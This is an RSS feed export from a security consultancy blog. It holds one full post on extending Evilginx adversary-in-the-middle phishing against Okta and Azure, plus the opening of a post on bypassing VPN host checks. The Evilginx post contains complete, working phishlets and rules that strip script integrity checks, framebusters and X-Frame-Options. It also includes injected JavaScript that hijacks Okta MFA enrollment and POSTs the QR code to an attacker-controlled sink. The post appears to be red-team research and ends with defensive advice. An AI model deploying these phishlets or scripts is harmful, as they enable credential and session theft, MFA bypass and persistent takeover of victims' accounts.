<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jean Marsault</title>
	<atom:link href="https://www.riskinsight-wavestone.com/en/author/jean-marsault/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/author/jean-marsault/</link>
	<description>The cybersecurity &#38; digital trust blog by Wavestone&#039;s consultants</description>
	<lastBuildDate>Mon, 25 Aug 2025 07:16:46 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>Jean Marsault</title>
	<link>https://www.riskinsight-wavestone.com/author/jean-marsault/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Phishing: Pushing Evilginx to its limit</title>
		<link>https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/#respond</comments>
		
		<dc:creator><![CDATA[Jean Marsault]]></dc:creator>
		<pubDate>Thu, 17 Jul 2025 15:03:33 +0000</pubDate>
				<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[Ethical Hacking]]></category>
		<category><![CDATA[EvilGinx]]></category>
		<category><![CDATA[MFA]]></category>
		<category><![CDATA[Okta]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[Phislet]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=26694</guid>

					<description><![CDATA[<p>Phishing attacks are as old as the Internet. However, over the years, the techniques and means for the phishing changes but the final goal is the same: getting an initial access to the internal network. Usually, threat actors try to...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/">Phishing: Pushing Evilginx to its limit</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Phishing attacks <strong>are as old as the Internet</strong>. However, over the years, the techniques and means for the phishing changes but the final goal is the same: getting an initial access to the internal network.</p>
<p>Usually, threat actors <strong>try to send malicious documents </strong>such as HTA applications or malicious Office documents but, with the growth of SMTP security solutions such as ProofPoint, the default Office hardening related to macros and the rise of awareness about phishing, <strong>these types of techniques are less and less used.</strong></p>
<p>Today, threat actors do not perform phishing to get a direct initial access to the company network, but to <strong>retrieve the digital identity of a user</strong>: its Office365/GoogleWorkspace/Okta identity. They then reuse this identity through SSO applications until they find a way to breach the internal network through exposed applications such as Citrix or VPN.</p>
<p>To limit such attacks, <strong>companies started enforcing MFA</strong> to ensure that even if a threat actor successfully retrieves a valid set of user credentials through phishing or harvesting, he won’t be able to complete the authentication process or reuse them on a different application.</p>
<p> </p>
<h2>Phishing 101</h2>
<p> </p>
<h3>IDP, cookies and phishing</h3>
<p>The MFA protection implemented by companies is a<strong> good way to limit the impact </strong>of successful phishing. Indeed, even if the threat actor retrieves the user credentials, he won’t be able to spoof the user’s identity as he won’t be able to validate the MFA.</p>
<p>However, today the MFA is usually <strong>only asked during the first authentication:</strong> once the user is authenticated on the identity provider, it gives him a proof of authentication the user can forward to any service. With this proof of authentication, the user does not need any additional active authentication, therefore not needing to re-validate the MFA as long as the ticket is valid.</p>
<p>In the most common web IDPs such as Azure, Google or Okta, <strong>this ticket is represented by the cookies.</strong> When the user connects to the IDP for the first time, the service sends back a cookie that is valid for 1 hour, 1 day or 2 years. With these cookies, the user can connect to any other SSO-compliant web service without authentication.</p>
<figure id="attachment_26696" aria-describedby="caption-attachment-26696" style="width: 839px" class="wp-caption aligncenter"><img fetchpriority="high" decoding="async" class=" wp-image-26696" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2-238x191.png" alt="Cookie as session" width="839" height="673" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2-238x191.png 238w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2-49x39.png 49w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2-768x616.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image1-2.png 1420w" sizes="(max-width: 839px) 100vw, 839px" /><figcaption id="caption-attachment-26696" class="wp-caption-text"><em>Cookie as session</em></figcaption></figure>
<p>In a nutshell, the <strong>user IDP cookies represent the user digital identity</strong>. Therefore, in a phishing attack whose primary goal is to spoof the user digital identity, the attacker will try to steal the cookies once the user has successfully performed his authentication.</p>
<p> </p>
<h3>Evilginx</h3>
<h4>Evil proxy</h4>
<p>In order to steal the cookies, the attacker must be placed in a man-in-the-middle position during the authentication process. However, with TLS security enforced in the majority of IDP, <strong>the user will be aware that something wrong is happening.</strong></p>
<p>That’s where <strong>Evilginx comes into play</strong>. Instead of performing a simple man-in-the-middle attack by relaying the packet to the IDP, Evilginx will create a malicious proxy: <strong>the user does not authenticate on accounts.google.com, but he will authenticate to login.evilginx.com:</strong></p>
<figure id="attachment_26698" aria-describedby="caption-attachment-26698" style="width: 823px" class="wp-caption aligncenter"><img decoding="async" class=" wp-image-26698" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1-399x191.png" alt="Evilgproxy functionning" width="823" height="394" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1-399x191.png 399w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1-768x367.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-1.png 947w" sizes="(max-width: 823px) 100vw, 823px" /><figcaption id="caption-attachment-26698" class="wp-caption-text"><em>Evilgproxy functionning</em></figcaption></figure>
<p>I will not take more time to develop the evil-proxy principle as it is already well documented on the internet.</p>
<p> </p>
<h4>Phislets 101</h4>
<p>For example, during the authentication to Azure, the following domains are used:</p>
<ul>
<li>login.microsoftonline.com</li>
<li>www.microsoftonline.com</li>
<li>aadcdn.microsoftonline.com</li>
</ul>
<p>The problem is that during the authentication flow, the IDP will redirect the user to specific pages with the domain hardcoded in the response. For example, during a classic SAML authentication flow, the IDP will force the client to perform a POST request to a specific hardcoded domain. Therefore, even if the user started its authentication process on login.evilginx.com, during the authentication flow he will be redirected to login.microsoftonline.com breaking the man-in-the-middle position.</p>
<p>Evilginx<strong> uses specific configuration files known as phishlets to handle such cases</strong>. The phishlet configuration will allow Evilginx to know what domain must be re-written in the server response. So if the IDP sends back a response such as:</p>
<pre>&lt;form id=”SAML” action=”https://login.microsoftonline.com”&gt;<br />[…]<br />&lt;/form&gt;<br />&lt;script&gt;<br />document.getElementById(“SAML”).click()<br />&lt;/script&gt;</pre>
<p>With the phishlet, <strong>Evilginx will know that the domain login.microsoftonline.com must be rewritten</strong> and will send back to the target the following modified page:</p>
<pre>&lt;form id=”SAML” action=”https://login.evilginx.com”&gt;<br />[…]<br />&lt;/form&gt;<br />&lt;script&gt;<br />document.getElementById(“SAML”).click()<br />&lt;/script&gt;</pre>
<p>With such match and replace pattern, <strong>Evilginx is able to trap the user inside the malicious application</strong> even if the IDP tries to redirect the user to a specific page.</p>
<p> </p>
<h4>Auto-replace limits</h4>
<p>The Evilginx phishlet auto-replace has its limits. Indeed, <strong>sometime the server does not directly hardcode the domain</strong> in the page but builds it through a JS script.</p>
<p>In this case, Evilginx is not able to automatically detect the domain pattern. As phishlet designers, we need then to understand how the script is working and manually replace the part building the redirection domain through a match/replace.</p>
<p> </p>
<h5>CORS</h5>
<p>In Okta, authentication flow is based on several JS scripts fetched from the oktadcn domain. The script <strong>dynamically builds the redirection URL</strong>: it takes the Okta tenant name and appends ‘okta.com’. Therefore, when Okta tries to reach the specific page using the okta.com domain, it<strong> fails due to CORS protection</strong> (trying to reach okta.com/idp/idx/introspect from evilginx.com):</p>
<figure id="attachment_26700" aria-describedby="caption-attachment-26700" style="width: 832px" class="wp-caption aligncenter"><img decoding="async" class=" wp-image-26700" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1-367x191.png" alt="Okta CORS error" width="832" height="433" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1-367x191.png 367w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1-71x37.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1-768x400.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-1.png 849w" sizes="(max-width: 832px) 100vw, 832px" /><figcaption id="caption-attachment-26700" class="wp-caption-text"><em>Okta CORS</em></figcaption></figure>
<p>By debugging the application, it is possible to find where the URL building is done and modify it through a match and replace:</p>
<pre><u>Replace:</u> array");var t=<br /><u>By:</u> array");e.redirectUri=e.redirectUri.replace("okta.com","evilginx.com");var t=</pre>
<p>With this simple indication, Evilginx <strong>will apply the match and replace on-the-fly, avoiding the redirection of the user outside of the phishing application.</strong></p>
<p> </p>
<h5>JS integrity</h5>
<p>When modifying the JS file or any other file through Evilginx, it can <strong>cause troubles due to the script integrity hash:</strong></p>
<pre>&lt;script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.30.1/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-EX0iPfWYp6dfAnJ+ert/KRhXwMapYJdnU2i5BbbeOhWyX0qyI4rMkxKKl8N5pXNI" crossorigin="anonymous"/&gt;</pre>
<p>Indeed, if Evilginx modifies the okta-signing-widget script, its hash will not match the one set on the html file and the application will refuse to load it.</p>
<figure id="attachment_26702" aria-describedby="caption-attachment-26702" style="width: 910px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26702" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-437x48.png" alt="Hash integrity error" width="910" height="100" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-437x48.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-71x8.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-768x85.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1-1536x170.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1.png 1737w" sizes="auto, (max-width: 910px) 100vw, 910px" /><figcaption id="caption-attachment-26702" class="wp-caption-text"><em>Hash integrity error</em></figcaption></figure>
<p>But, with Evilginx, we can also modify the html page to remove the integrity check:</p>
<pre>Replace: integrity="[^"]*"<br />By: integrity=''<br /><br /></pre>
<h5>Redirect URI validation</h5>
<p>The last point <strong>is the Redirect URI validation</strong>. Indeed, when doing OIDC authentication, the client will be redirected to a page with a URL like:</p>
<pre>/oauth2/v1/authorize?client_id=XXXXXX&amp;redirect_uri=https://trial-xxxxx.okta.com[...]</pre>
<p>With the automatic domain replacement configured on Evilginx, the redirect URI parameter trial-xxxxx.okta.com will be automatically changed into trial-xxxxx.evilginx.com.</p>
<p>This will trigger the redirect uri validation process and because the evilginx.com domain has not been configured on the Okta end as a valid redirection domain<em>, </em><strong>Okta will show the following error</strong>:</p>
<figure id="attachment_26704" aria-describedby="caption-attachment-26704" style="width: 175px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-medium wp-image-26704" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-1-175x191.png" alt="Error 400 - Bad Request in Okta" width="175" height="191" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-1-175x191.png 175w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-1-36x39.png 36w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-1.png 269w" sizes="auto, (max-width: 175px) 100vw, 175px" /><figcaption id="caption-attachment-26704" class="wp-caption-text"><em>Error in Okta</em></figcaption></figure>
<p>The redirect URI is <strong>dynamically built by Okta by taking the login domain</strong> and adding the callback parameters. It is then possible to bypass this error by modifying the JS script building the URL and ensure that the callback URI is the one expected by Okta:</p>
<p>Using Evilginx, it is <strong>possible to use the match/replace pattern to reset the redirect_uri </strong>to the right URI:</p>
<pre><u>Replace:</u> ,l.src=e.getIssuerOrigin()<br /><u>By:</u> ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")<br /><br /><u>Replace:</u> var s=(n.g.fetch||h())(t<br /><u>By:</u> ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")<br /><br /></pre>
<h4>Basic phishlets</h4>
<h5>Okta</h5>
<pre>min_ver: '3.0.0'<br />name: 'okta-wavestone'<br /><br />params:<br />  - name: okta_orga<br />    default: ''<br />    required: true<br />  - name: redirect_server<br />    default: https://google.com<br /><br />proxy_hosts:<br />  - phish_sub: '{okta_orga}'<br />    orig_sub: '{okta_orga}'<br />    domain: okta.com<br />    session: true<br />    is_landing: true<br />    auto_filter: true<br /><br />  - phish_sub: ok14static<br />    orig_sub: ok14static<br />    domain: oktacdn.com<br />    session: false<br />    is_landing: false<br />    auto_filter: true<br /><br />  - phish_sub: login<br />    orig_sub: login<br />    domain: okta.com<br />    session: false<br />    is_landing: false<br />    auto_filter: true<br /><br />sub_filters:<br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'array"\);var t='<br />    replace: 'array");e.redirectUri=e.redirectUri.replace("{basedomain}","{orig_domain}");var t='<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: '{okta_orga}.okta.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: integrity="[^"]*"<br />    replace: integrity=''<br />    mimes: ['text/html', 'charset=utf-8']<br /><br />  - triggers_on: '{okta_orga}.okta.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'mainScript\.integrity'<br />    replace: 'mainScript.inteegrity'<br />    mimes: ['text/html', 'charset=utf-8']<br /><br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'var s=\(n\.g\.fetch\|\|h\(\)\)\(t'<br />    replace: 't=t.replace("{orig_domain}","{domain}");var s=(n.g.fetch||h())(t'<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: ',l\.src=e\.getIssuerOrigin\(\)'<br />    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: 'ok9static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: ',l\.src=e\.getIssuerOrigin\(\)'<br />    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'<br />    mimes: ['application/javascript']<br /><br />auth_tokens:<br />  - domain: '{okta_orga}.okta.com'<br />    keys: ['idx:always']<br /><br />credentials:<br />  username:<br />    key: ''<br />    search: '"identifier":"([^"]*)"'<br />    type: 'json'<br /><br />  password:<br />    key: 'passwd'<br />    search: '(.*)'<br />    type: 'post'<br /><br />login:<br />  domain: '{okta_orga}.okta.com'<br />  path: '/'<br /><br />force_post:<br />  - path: '/kmsi'<br />    search:<br />      - {key: 'LoginOptions', search: '.*'}<br />    force:<br />      - {key: 'LoginOptions', value: '1'}<br />    type: 'post'</pre>
<p> </p>
<h5>Azure</h5>
<pre>name: 'o365-wavestone'<br />min_ver: '3.0.0'<br /><br />proxy_hosts:<br />  - phish_sub: 'login'<br />    orig_sub: 'login'<br />    domain: 'microsoftonline.com'<br />    session: true<br />    is_landing: true<br /><br />  - phish_sub: 'www'<br />    orig_sub: 'www'<br />    domain: 'office.com'<br />    session: true<br />    is_landing:false<br /><br />  - phish_sub: 'aadcdn'<br />    orig_sub: 'aadcdn'<br />    domain: 'msftauth.net'<br />    session: false<br />    auto_filter: true<br />    is_landing:false<br /><br />auth_tokens:<br />  - domain: '.login.microsoftonline.com'<br />    keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT']<br />  - domain: 'login.microsoftonline.com'<br />    keys: ['SignInStateCookie']<br /><br />credentials:<br />  username:<br />    key: 'login'<br />    search: '(.*)'<br />    type: 'post'<br />  password:<br />    key: 'passwd'<br />    search: '(.*)'<br />    type: 'post'<br /><br />auth_urls:<br />  - '/common/SAS/ProcessAuth'<br />  - '/kmsi'<br /><br />login:<br />  domain: 'login.microsoftonline.com'<br />  path: '/'<br /><br />force_post:<br />  - path: '/kmsi'<br />    search:<br />      - {key: 'LoginOptions', search: '.*'}<br />    force:<br />      - {key: 'LoginOptions', value: '1'}<br />    type: 'post'<br />  - path: '/common/SAS'<br />    search:<br />      - {key: 'rememberMFA', search: '.*'}<br />    force:<br />      - {key: 'rememberMFA', value: 'true'}<br />    type: 'post'</pre>
<p> </p>
<h2>Automate critical actions</h2>
<p> </p>
<h3>Adding MFA device</h3>
<p>Once an attacker is able to retrieve an initial access to the user session, he needs to add access persistence as the cookies have a limited validity timeframe.</p>
<p>This is usually done by adding an additional MFA device to the user account.</p>
<p>For example, on Azure, adding an MFA device does not ask for user reauthentication or MFA validation. So, <strong>as long as the attacker has access to the user session, he is able to directly register his malicious MFA device</strong>.</p>
<p>However, on some IDP such as <strong>Okta, the MFA registration asks for an MFA validation</strong>. So even if the attacker successfully has compromised the user’s Okta session, he won’t be able to directly add a MFA.</p>
<p>What could be interesting is to add this reauthentication step during the phishing attack:</p>
<ol>
<li>The user authenticates a first time to access his session</li>
<li>Evilginx steals the user cookies</li>
<li>Evilginx performs automatic API calls to trigger the MFA device registration authentication in the backgroup</li>
<li>The user revalidates his MFA thinking the first one failed</li>
<li>Evilginx intercepts the MFA QRCode allowing the attacker to finalize the MFA registration process</li>
</ol>
<p>All these actions <strong>can be automated through Evilginx by modifying the JS scripts.</strong></p>
<p>First, Evilginx will intercept the redirection performed at the end of the first authentication and redirect the user to a fake controlled page:</p>
<pre>  - trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/app/UserHome']<br />    script: |<br />      if(document.referrer.indexOf('/enduser/callback') != -1){document.location = 'https://'+window.location.hostname+'/help/login'}</pre>
<p>This script will <strong>be injected only in the /app/UserHome page and be triggered only when the page is accessed from the /enduser/callback page</strong>. It ensures that the user is redirected to the decoy page only when the first authentication flow is finished. In this case the decoy page is the okta /help/login page. This redirection to a decoy page is mandatory otherwise the user is blocked in a infinite <strong>redirection loop at the end of his authentication flow…</strong></p>
<p> </p>
<p>Then, <strong>a new JS code is added to the /help/login page</strong>. This script is used to enumerate the available MFA technologies available and configured:</p>
<pre>  - trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/help/login']<br />    script: |<br />      function u4tyd783z(){<br />        fetch('/api/v1/authenticators')<br />        .then((data) =&gt; {<br />            data.json().then((jData)=&gt;{<br />                let id = undefined<br />                for(let elt of jData){<br />                    if(elt.key == 'okta_verify'){<br />                        id = elt.id<br />                    }<br />                }<br />                if(id == undefined){<br />                    return<br />                }<br />                console.log('https://'+window.location.hostname+'/idp/authenticators/setup/'+id)<br />                document.location = 'https://'+window.location.hostname+'/idp/authenticators/setup/'+id<br />            })<br />        })<br />      }<br />      u4tyd783z();</pre>
<p>The script<strong> chooses the Okta Verify authentication method</strong> and redirects the user to the setup page.</p>
<p> </p>
<p>On the setup page, a new JS script is injected. This JS script is used to <strong>automate the registration steps to only let the MFA validation form</strong><em>:</em></p>
<pre>- trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/idp/authenticators/setup/.*']<br />    script: |<br />      function u720dhfn2(){<br />        if(document.querySelectorAll('.button.select-factor.link-button').length &gt; 0){<br />            document.querySelectorAll('.button.select-factor.link-button')[0].click()<br />            document.querySelectorAll('body')[0].style.display = 'none'<br />            a = true<br />        }<br />        if(document.querySelectorAll('a.orOnMobileLink').length &gt; 0){<br />            document.querySelectorAll('a.orOnMobileLink')[0].click()<br />            b = true<br />        }<br />        if(document.querySelectorAll('img.qrcode').length &gt; 0){<br />            fetch("{qrcode_sink}", {<br />              method: 'POST',<br />              body: JSON.stringify({code: document.querySelectorAll('img.qrcode')[0].getAttribute('src')})<br />            }).then(()=&gt;{<br />              document.location='{redirect_server}'<br />            }).catch(()=&gt;{<br />              document.location='{redirect_server}'<br />            })<br />            clearInterval(myInterval)<br />        }<br />      }<br />      var a = false<br />      var b = false<br />      var myInterval = setInterval(function(){u720dhfn2()}, 10)</pre>
<p>Once the user has validated the MFA authentication, <strong>the script will locate the QRCode displayed in the page and exfiltrate it through HTTP.</strong></p>
<p>The attacker can then retrieve the QRCode and enroll his own device.</p>
<p> </p>
<h2>Pushing the limit</h2>
<p> </p>
<h3>Okta with Azure authentication</h3>
<p>Some companies can link two IDP together: <strong>Okta redirects to Azure and provisions the user when they first login.</strong></p>
<p>In this case it is interesting for an attacker because he will be able to retrieve Azure and Okta session in one phishing.</p>
<p>The previous phislets <strong>must be merged in order to capture both authentications</strong>. The important point is to ensure that Okta will redirect to the Azure Evilginx and not to the login.microsoftonline.com website.</p>
<p>Hopefully, the redirection is made with a plaintext form in the Okta response with an auto-submit HTML form:</p>
<pre>&lt;form id="appForm" action="https://login.microsoftonline.com/7ee59529-c0a4-4d72-82e4-3ec0952b49f4/saml2" method="POST"&gt;[...]&lt;/form&gt;</pre>
<p>Because the Azure domain is hardcoded directly on the HTML, Evilginx will be able to automatically switch the real domain by the phishing domain.</p>
<p>Likewise, for the redirection from Microsoft to Okta once the authentication flow ends, Evilginx will also be able to automatically swap the Okta domain by the Okta Evilginx domain allowing the retrieval of the Azure session cookie.</p>
<p>In a <strong>nutshell, in this specific case, it is possible to simply merge the two previous phishlets</strong><em>.</em></p>
<p> </p>
<h3>Frame buster</h3>
<p>More and more users will look at the authentication URL before inputting their credentials. In order to prevent such detection, it is possible to use a Browser in browser technique.</p>
<p>The idea is to embed the phishing application into an iFrame and create a Chrome lookalike frame around the iframe in order to make the iframe appear as a popup.</p>
<p>Because we are redesigning the while popup, it is possible to display a wrong address. In the following figure, the Google form is embedded in an iframe but look like a real popup:</p>
<figure id="attachment_26707" aria-describedby="caption-attachment-26707" style="width: 864px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26707" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-1-374x191.png" alt="Browser in browser example" width="864" height="441" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-1-374x191.png 374w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-1-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-1.png 680w" sizes="auto, (max-width: 864px) 100vw, 864px" /><figcaption id="caption-attachment-26707" class="wp-caption-text"><em>Browser in browser example</em></figcaption></figure>
<p>The main problem here is that the majority of IDP authentication forms implements several techniques to avoid being embedded in an iframe. These techniques are called framebuster.</p>
<p>While Okta does not seem to implement such techniques, the Azure authentication form contains a lot of features that would break if embedded in an iframe.</p>
<p> </p>
<h4>Self == top</h4>
<p>The simplest framebuster technique is to check if the current frame is the top frame, which Microsoft implements. If it detects that the authentication form is not the top frame, it does not display the form.</p>
<p>With Evilginx, it is possible to remove the check with a simple match and replace pattern:</p>
<pre>Replace: if(e.self===e.top){<br />By: if(true){window.oldself=e.self;e.self=e.top;</pre>
<p>This modification ensures that the iframe is recognized as the top frame.</p>
<p> </p>
<h4>Target=”_top”</h4>
<p>The next technique consists in forcing the form submit to redirect the top frame. Therefore, if the form is submitted in an iframe, it will not only redirect the iframe, it will redirect the whole page, breaking the Browser-in-browser.</p>
<p>This can be done by adding the <em>target=”_top” </em>attribute in the form. It is then possible to remove this protection with Evilginx:</p>
<pre><u>Replace:</u> method="post" target="_top"<br /><u>By:</u> method="post"<br /><br /></pre>
<h4>Framework specific</h4>
<p>Microsoft uses a specific framework for their application. The framework does not embed framebusting technique per say, but its internal functioning makes it quite complicated to embed in an iframe.</p>
<p>The limitation is that at a specific moment, the framework tries to post to a specific URL that is built up using the top frame domain. So instead of posting the data to login.evilginx.com, it will post it to my-phishing-app.com which will fully break the authentication process.</p>
<p>In order to change this address, it is not possible to simply swap the domain with the phishing domain as it was previously done in the previous part. We need to understand how the framework works to change the value manually in the root element:</p>
<pre><u>Replace:</u> autoSubmit: forceSubmit, attr: { action: postUrl }<br /><u>By:</u> autoSubmit: forceSubmit, attr: { action: \\'/common/login\\'}<br /><br /></pre>
<h4>HTTP header</h4>
<p>The last framebusting technique is related to the HTTP header X-Frame-Options: DENY that indicate to the browser that the application cannot be displayed in an iFrame.</p>
<p>It is possible to simply remove this header with Evilginx:</p>
<pre><u>Replace:</u> X-Frame-Options: DENY<br /><u>By:</u> Test: Test<br /><br /></pre>
<h4>Final phishlet</h4>
<p>The following video shows an example of browser in browser phishing on a company using Okta/Azure. The attacker will be able, in a single phishing to:</p>
<ul>
<li>Retrieve the Azure credentials</li>
<li>Retrieve the Azure cookies</li>
<li>Retrieve the Okta cookies</li>
<li>Retrieve the MFA enrollment QRCode for Okta</li>
</ul>
<p style="text-align: center;"> </p>
<div align="center"><iframe loading="lazy" title="Phishing attack example" src="https://www.youtube.com/embed/FHsZhNEIH64?si=OxsRrtlIpbkvgdJA" width="800" height="450" frameborder="0" allowfullscreen="allowfullscreen"></iframe></div>
<p style="text-align: center;"><em>Example of browser in browser phishing on a company using Okta/Azure</em></p>
<p> </p>
<p>The evolution of phishing techniques, exemplified by tools like Evilginx, underscores a critical shift in cyber threats—from merely capturing credentials to hijacking entire authenticated sessions. By acting as an adversary-in-the-middle (AiTM), Evilginx can intercept and manipulate traffic between users and legitimate services, effectively bypassing traditional Multi-Factor Authentication (MFA) mechanisms.</p>
<p>But this is only the tip of the iceberg. Indeed, Evilginx can be used and customized to automate specific critical actions such as MFA registration, to bypass specific securities such as framebuster, ensuring that the attacker will get persistent access to the user session.</p>
<p>The only way to limit phishing attacks is to deploy phishing resistant MFA such as FIDO keys for at least the administrators.</p>
<p> </p>
<p> </p>




<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/">Phishing: Pushing Evilginx to its limit</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2025/07/phishing-pushing-evilginx-to-its-limit/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Bypassing host security checks on a modern VPN solution</title>
		<link>https://www.riskinsight-wavestone.com/en/2023/01/bypassing-host-security-checks-on-a-modern-vpn-solution/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2023/01/bypassing-host-security-checks-on-a-modern-vpn-solution/#respond</comments>
		
		<dc:creator><![CDATA[Jean Marsault]]></dc:creator>
		<pubDate>Tue, 10 Jan 2023 13:53:50 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[process hacking]]></category>
		<category><![CDATA[vpn]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=19355</guid>

					<description><![CDATA[<p>In our last Assume Breach engagement, the client gave us a domain-joined computer and a VPN access telling it was the only option to access the internal domain. Other computers would be able to access to some resources using specific...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/01/bypassing-host-security-checks-on-a-modern-vpn-solution/">Bypassing host security checks on a modern VPN solution</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: left;">In our last <strong>Assume Breach</strong> engagement, the client gave us a domain-joined computer and a <strong>VPN</strong> access telling it was the only option to access the internal domain. Other computers would be able to access to some resources using specific protocols but nothing more. This behavior can be challenging as the domain workstation is protected by several security solutions and using offensive tools from it could be risky. Therefore, it was mandatory to remove this restriction to be able to ease the assessment completion.</p>
<p style="text-align: left;">A great part of<strong> pentester</strong>’s job is to bypass the restrictions set up by security tools, this VPN being the perfect exercise for a pentester.</p>
<p style="text-align: left;">This article is not meant to show a fancy <strong>0day</strong>, but to expose the thinking pentesters use when dealing with a black box security tool.</p>
<p style="text-align: left;"><strong>The exploit path presented in this article takes for granted that:</strong></p>
<ul style="text-align: left;">
<li><span style="color: initial;">The attacker already has access to a valid set of user&#8217;s credentials</span></li>
<li><span style="color: initial;">The attacker has managed to get a limited access to a workstation for a limited period of time</span></li>
</ul>
<p style="text-align: left;">Depending on the VPN configuration, this last prerequisite can be optional.</p>
<p style="text-align: left;"> </p>
<h2>Discovering the environment</h2>
<p style="text-align: left;">With access to the computer, the first thing we tried was to extract the VPN client binary and use it on the attack computer.</p>
<p style="text-align: left;">The VPN tested was the <strong>Palo Alto GlobalProtect</strong> solution, and the VPN client can be easily downloaded on Internet. Once the client is installed on the computer, a connection is initialized. The VPN initialized a connection with the VPN portal exposed on Internet and a Microsoft authentication is triggered:</p>
